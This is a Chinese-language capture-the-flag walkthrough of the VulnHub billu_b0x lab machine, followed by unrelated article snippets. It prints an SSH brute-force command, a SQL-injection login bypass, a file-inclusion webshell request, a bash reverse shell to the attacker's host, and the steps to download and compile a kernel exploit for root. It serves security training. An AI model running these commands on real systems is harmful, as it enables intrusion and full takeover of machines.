vulnhub靶机billu_b0x精讲

靶机下载

https://www.vulnhub.com/entry/billu-b0x,188/

信息收集

扫描存活主机

nmap -sP 192.168.73.0/24

192.168.73.141为目标主机,对其进行进一步信息收集

端口扫描

nmap --min-rate=10000 -p- 192.168.73.141

目标只开放了22和80端口

针对端口进行TCP探测、服务探测、操作系统探测

nmap -T4 -sV -sT -sC -O -p80,22 192.168.73.141

22端口使用 OpenSSH 5.9p1版本

80开放了http服务,部署在Apache2.2.22上

目录扫描

针对http服务进行目录扫描

gobuster dir -u http://192.168.73.141/ -w /usr/share/wordlists/dirb/big.txt

扫描出可访问路径

/add
/c
/cmd
/head
/images
/images
/index
/in
/panel
/phpmy
/show
/test

漏洞挖掘

22端口渗透

ssh暴力破解

因为只开放了两个端口,攻击面较少,所以要利用任何能利用的点,首先想到爆破ssh密码,开启一个窗口让hydra后台去爆破密码

hydra -l root -P /root/Desktop/passwd-CN-Top10000.txt ssh://192.168.73.141 -V -f

ssh服务漏洞

看到nmap扫描结果中ssh服务使用的应用程序为OpenSSH 5.9p1,通过google搜索相关漏洞利用,发现并没有可以直接利用获取shell的攻击脚本,利用条件都很苛刻。

80端口(Web)渗透

访问通过目录爆破出的几个目录

http://192.168.73.141/index

http://192.168.73.141/add

http://192.168.73.141/c

http://192.168.73.141/cmd

http://192.168.73.141/images/

http://192.168.73.141/in

http://192.168.73.141/show

http://192.168.73.141/test

任意文件读取漏洞利用

通过观察/test目录,页面提示需要传入一个file的值,联想到任意文件读取、文件包含,这里先get去传参一个index.php

传入file值未index.php发现并没有反应,尝试修改请求方式,使用POST的方式发送数据包

POST /test HTTP/1.1
Host: 192.168.73.141
Content-Length: 14
Cache-Control: max-age=0
Origin: http://192.168.73.141
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.73.141/test?file=index
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=bopi12nfmudsn2c5gf05pm4eo4
Connection: keep-alive

file=index.php

这里读取到了index.php的源码,存在任意文件读取漏洞,分别尝试读取passwd和shadow,看看能不能获得shadow文件爆破hash直接获取到root密码。

passwd文件是可以直接读取到的,shadow文件没有权限读取,继续通过文件读取漏洞读取其他页面的源码进行代码审计。

文件上传漏洞利用

add目录下发现是一个文件上传的页面,利用文件包含审计源码是否做了过滤。

是没有做任何过滤的,尝试上传一个图片文件

响应包中没有返回文件的上传路径,这里猜测文件可能是上传到了/images目录下,但是观察了一下没有任何数据的更新。

SQL注入漏洞利用

通过文件包含漏洞读取到的index.php源码进行代码审计。

index.php包含了c.php,head.php,而index.php又是一个登录页面,很有可能包含的就是数据库配置文件,继续利用文件读取漏洞读取源码

读取到c.php就是数据库配置文件,并且给出了一个数据库账号。

127.0.0.1
billu
b0x_billu

尝试远程登录到mysql

数据库连接失败,因为在前期端口扫描没有扫描到mysql的服务端口,所以判断应该是修改了端口或者禁止远程登录。

尝试用账户凭证登录ssh

ssh billu@192.168.73.141
b0x_billu

登录失败

继续读取head.php的源码

也没有发现有用的信息。

继续分析index.php的源码,在下面发现了登录逻辑,可以尝试进行sql注入

$uname=str_replace('\'','',urldecode($_POST['un']));
$pass=str_replace('\'','',urldecode($_POST['ps']));
$run='select * from auth where  pass=\''.$pass.'\' and uname=\''.$uname.'\'';

登录逻辑代码中使用str_replace函数过滤了单引号,尝试绕过,将连接符"."分离后的sql查询语句

select * from auth where  pass=\'.$pass.\' and uname=\'.$uname.\'

这里的"\"就是转义字符,可以省略掉

select * from auth where  pass='pass' and uname='uname'

构造万能密码

pass传入\
uname传入or 1=1#

构造后的sql语句就变成了

select * from auth where pass='\' and uname='or 1=1#'

查询语句中的' and uname='就被逃逸出去成为了pass的值

pass='\' and uname='
or 1=1永真

成功登陆

这里发现了一个文件上传的页面,和add.php是一样的,再次上传文件

文件上传成功,文件被上传到了/uploaded_images/下

尝试上传一句话,使用%00截断、黑名单绕过、.htaccess利用,都失败了。

文件包含漏洞利用

继续读取登录后的panel.php源码

<?php
session_start();

include('c.php');
include('head2.php');
if(@$_SESSION['logged']!=true )
{
        header('Location: index.php', true, 302);
        exit();

}



echo "Welcome to billu b0x ";
echo '<form method=post style="margin: 10px 0px 10px 95%;"><input type=submit name=lg value=Logout></form>';
if(isset($_POST['lg']))
{
    unset($_SESSION['logged']);
    unset($_SESSION['admin']);
    header('Location: index.php', true, 302);
}
echo '<hr><br>';

echo '<form method=post>

<select name=load>
    <option value="show">Show Users</option>
    <option value="add">Add User</option>
</select> 

 &nbsp<input type=submit name=continue value="continue"></form><br><br>';
if(isset($_POST['continue']))
{
    $dir=getcwd();
    $choice=str_replace('./','',$_POST['load']);

    if($choice==='add')
    {
            include($dir.'/'.$choice.'.php');
            die();
    }

        if($choice==='show')
    {

        include($dir.'/'.$choice.'.php');
        die();
    }
    else
    {
        include($dir.'/'.$_POST['load']);
    }

}


if(isset($_POST['upload']))
{

    $name=mysqli_real_escape_string($conn,$_POST['name']);
    $address=mysqli_real_escape_string($conn,$_POST['address']);
    $id=mysqli_real_escape_string($conn,$_POST['id']);

    if(!empty($_FILES['image']['name']))
    {
        $iname=mysqli_real_escape_string($conn,$_FILES['image']['name']);
    $r=pathinfo($_FILES['image']['name'],PATHINFO_EXTENSION);
    $image=array('jpeg','jpg','gif','png');
    if(in_array($r,$image))
    {
        $finfo = @new finfo(FILEINFO_MIME); 
    $filetype = @$finfo->file($_FILES['image']['tmp_name']);
        if(preg_match('/image\/jpeg/',$filetype )  || preg_match('/image\/png/',$filetype ) || preg_match('/image\/gif/',$filetype ))
                {
                    if (move_uploaded_file($_FILES['image']['tmp_name'], 'uploaded_images/'.$_FILES['image']['name']))
                             {
                              echo "Uploaded successfully ";
                              $update='insert into users(name,address,image,id) values(\''.$name.'\',\''.$address.'\',\''.$iname.'\', \''.$id.'\')'; 
                             mysqli_query($conn, $update);

                            }
                }
            else
            {
                echo "<br>i told you dear, only png,jpg and gif file are allowed";
            }
    }
    else
    {
        echo "<br>only png,jpg and gif file are allowed";

    }
}


}

?>

源码中分析出include函数没有做任何的过滤,存在任意文件包含漏洞,需要POST传参continue和load参数才能触发。

这里continue需要传入continue load需要传入图片马的地址

首先构造一个图片马上传到目标

重新访问panel.php,修改请求方式为POST,包含cmd.jpg,构造payload

POST /panel.php?cmd=whoami HTTP/1.1
Host: 192.168.73.141
Content-Length: 47
Cache-Control: max-age=0
Origin: http://192.168.73.141
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.73.141/panel.php
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=bopi12nfmudsn2c5gf05pm4eo4
Connection: keep-alive

load=/uploaded_images/cmd.jpg&continue=continue

成功执行系统命令

本地nc开启监听

nc -lvnp 8899

反弹shell

echo "bash -i >& /dev/tcp/192.168.73.138/8899 0>&1" | bash
//记得url编码

成功得到初始web权限的shell。

权限提升

用python启动一个shell以获得更好的交互性

python -c "import pty;pty.spawn('/bin/bash')"

信息收集

uname -a

内核提权

使用searchsploit搜索内核提权脚本

searchsploit Ubuntu kernel 3.13.0-32

searchsploit -m 37292

启动一个http服务,将exp放到上面,目标机器去下载

service apache2 start
cp 37292.c /var/www/html/37292.c
wget http://192.168.73.138/37292,c

发现www目录没有创建文件的权限,进入到uploaded_images目录下

cd uploaded_images
wget http://192.168.73.138/37292.c
gcc 37292.c 37292
./37292

成功提权到root权限

SSH密码爆破

刚才都没有注意到hydra已经把ssh密码跑出来了,尝试登陆一下

登录成功,也是获取root权限

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/944571.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

碰一碰发视频矩阵系统源码搭建,支持OEM

一、引言 随着短视频的火爆发展&#xff0c;碰一碰发视频的矩阵系统逐渐受到关注。这种系统能够实现用户通过碰一碰设备&#xff08;如 NFC 标签&#xff09;快速触发视频的发布&#xff0c;在营销推广、互动体验等领域有着广泛的应用前景。本文将详细介绍碰一碰发视频矩阵系统…

使用Kubernetes部署MySQL+WordPress

目录 前提条件 部署MySQL和WordPress 编写yaml文件 应用yaml文件 存在问题及解决方案 创建PV(持久化卷) 创建一个PVC(持久化卷声明) 部署添加PVC 查看PV对应的主机存储 删除资源 查看资源 删除deployment和service 查看主机数据 删除PVC和PV 删除主机数据 前提条…

Python笔记(6)-文件及IO操作

文件的基本操作 python操作文件的步骤&#xff1a; 1、打开文件&#xff1a; 变量名open(filename,mode,encoding) 2、操作文件&#xff1a; 变量名.read() 变量名.writer(s) 3、关闭文件&#xff1a; 变量名.close() def my_write():#1、&#xff08;创建&#xff09;…

windows系统下使用cd命令切换到D盘的方法

windows系统下使用cd命令切换到D盘的方法 系统环境配置 win10系统原装C盘后期自己安装的硬盘D盘 python3.8安装在D盘中 问题说明 winR打开终端&#xff0c;使用 cd d:命令&#xff0c;无法将当前目录切换到D盘 解决方法 方法一&#xff1a;使用下面这条命令 cd /d d:运…

iOS 苹果开发者账号: 查看和添加设备UUID 及设备数量

参考链接&#xff1a;苹果开发者账号下添加新设备UUID - 简书 如果要添加新设备到 Profiles 证书里&#xff1a; 1.登录开发者中心 Sign In - Apple 2.找到证书设置&#xff1a; Certificate&#xff0c;Identifiers&Profiles > Profiles > 选择对应证书 edit &g…

香橙派5Plus启动报错bug: spinlock bad magic on cpu#6, systemd-udevd/443

一、问题 如图&#xff1a; 接上调试串口&#xff0c;每次启动都会报错。不过使用过程中没有发现有什么影响。 百度查阅&#xff0c;有一位博主提到&#xff0c;但是没有细说解决方案&#xff1a; spinlock变量没有初始化_spinlock bad magic on-CSDN博客https://blog.csdn.n…

小程序配置文件 —— 13 全局配置 - window配置

全局配置 - window配置 这里讲解根目录 app.json 中的 window 字段&#xff0c;window 字段用于设置小程序的状态栏、导航条、标题、窗口背景色&#xff1b; 状态栏&#xff1a;顶部位置&#xff0c;有网络信号、时间信息、电池信息等&#xff1b;导航条&#xff1a;有一个当…

UI页面布局分析(4)- 贵族 特权分页列表

引言 在现在移动应用中&#xff0c;展示用户特权的UI设计不仅是吸引用户的关键手段&#xff0c;更是提升产品体验的重要部分。特别是在直播场景中&#xff0c;贵族特权作为一种高价值用户身份的象征&#xff0c;通常需要通过精致的页面和流程的交互来突出其重要性和独特性。 …

Spring Boot教程之三十九: 使用 Maven 将 Spring Boot 应用程序 Docker 化

如何使用 Maven 将 Spring Boot 应用程序 Docker 化&#xff1f; Docker是一个开源容器化工具&#xff0c;用于在隔离环境中构建、运行和管理应用程序。它方便开发人员捆绑其软件、库和配置文件。Docker 有助于将一个容器与另一个容器隔离。在本文中&#xff0c;为了将Spring B…

【208】车辆管理系统

--基于SSM车辆管理系统 主要功能: 个人中心 员工管理 用户管理 基础数据管理 车辆管理 保养登记管理 事故登记管理 维修登记管理 违章登记管理 开发技术栈: 开发语言 : Java 开发软件 : Eclipse/MyEclipse/IDEA JDK版本 : JDK8 开发框架 : SSM 服务器 : Tomcat8/…

Linux系统编程——线程

目录 一、前言 二、线程 1、线程的理解 三、线程相关的接口 1、线程的创建 2、线程的等待 3、实验 四、总结 1、线程优点 2、线程缺点 3、线程异常 4、Linux下的进程与线程对比 一、前言 之前的文章中我们已经对进程相关的概念做了认识&#xff0c;从创建进程、子进…

从百度云网盘下载数据到矩池云网盘或者服务器内

本教程教大家如何快速将百度云网盘数据集或者模型代码文件下载到矩池云网盘或者服务器硬盘上。 本教程使用到了一个开源工具 BaiduPCS-Go&#xff0c;官方地址 &#xff1a; https://github.com/qjfoidnh/BaiduPCS-Go 这个工具可以实现“仿 Linux shell 文件处理命令的百度网…

手机租赁平台开发全攻略打造高效便捷的租赁服务系统

内容概要 手机租赁平台开发&#xff0c;简单说就是让用户能轻松租赁各类手机的高效系统。这一平台不仅帮助那些想要临时使用高端手机的人们节省了不少资金&#xff0c;还为商家开辟了新的收入渠道。随着智能手机的普及&#xff0c;很多人并不需要长期拥有一部手机&#xff0c;…

GitHub 桌面版配置 |可视化界面进行上传到远程仓库 | gitLab 配置【把密码存在本地服务器】

&#x1f947; 版权: 本文由【墨理学AI】原创首发、各位读者大大、敬请查阅、感谢三连 &#x1f389; 声明: 作为全网 AI 领域 干货最多的博主之一&#xff0c;❤️ 不负光阴不负卿 ❤️ 文章目录 桌面版安装包下载clone 仓库操作如下GitLab 配置不再重复输入账户和密码的两个方…

flask后端开发(11):User模型创建+注册页面模板渲染

目录 一、数据库创建和配置信息1.新建数据库2.数据库配置信息3.User表4.ORM迁移 二、注册页面模板渲染1.导入静态文件2.蓝图注册路由 一、数据库创建和配置信息 1.新建数据库 终端中 CREATE DATABASE zhiliaooa DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;2…

OpenAI 12天发布会:AI革命的里程碑@附35页PDF文件下载

在人工智能的浪潮中&#xff0c;OpenAI的12天发布会无疑是2024年科技界的一场盛宴。从12月5日开始&#xff0c;OpenAI连续12天每天发布一个新应用或功能&#xff0c;标志着AI技术的又一次飞跃。本文将梳理这些激动人心的发布&#xff0c;带你一探究竟。 OpenAI发布会概览 Ope…

使 el-input 内部的内容紧贴左边

<el-inputv-model"form.invitor"placeholder"PC端的自动取当前账号的手机号"readonlyclass"no-border-input" />::v-deep(.no-border-input .el-input__inner) { border: none; box-shadow: none; padding-left: 0; /* 确保内容紧贴左边 *…

(南京观海微电子)——GH7009开机黑屏案例分析

一、 现象描述&#xff1a; 不良现象: LVDS模组&#xff0c;开机大概2秒后就黑屏。 二、问题分析 等主机进入Kernel 后做以下测试&#xff1a; 1、手动reset LCM 后 可以显示正常&#xff1b; 总结&#xff1a; 1&#xff09;uboot 部分HS 太窄&#xff0c;仅有4个clk宽度&am…

科技云报到:人工智能时代“三大件”:生成式AI、数据、云服务

科技云报到原创。 就像自行车、手表和缝纫机是工业时代的“三大件”。生成式AI、数据、云服务正在成为智能时代的“新三大件”。加之全球人工智能新基建加速建设&#xff0c;成为了人类社会数字化迁徙的助推剂&#xff0c;让新三大件之间的耦合越来越紧密。从物理世界到数字世…

攻破 kioprix level 4 靶机

又又又来了... 法一、 基本步骤 1.确认主机ip&#xff0c;扫描端口确定服务和版本 2.访问网站&#xff0c;扫描目录&#xff0c;查找敏感信息 3.利用敏感信息和SQL注入进入网站 4.ssh服务连接主机 5.shell逃逸并查找敏感信息&#xff08;与数据库等相关&#xff09; 6.m…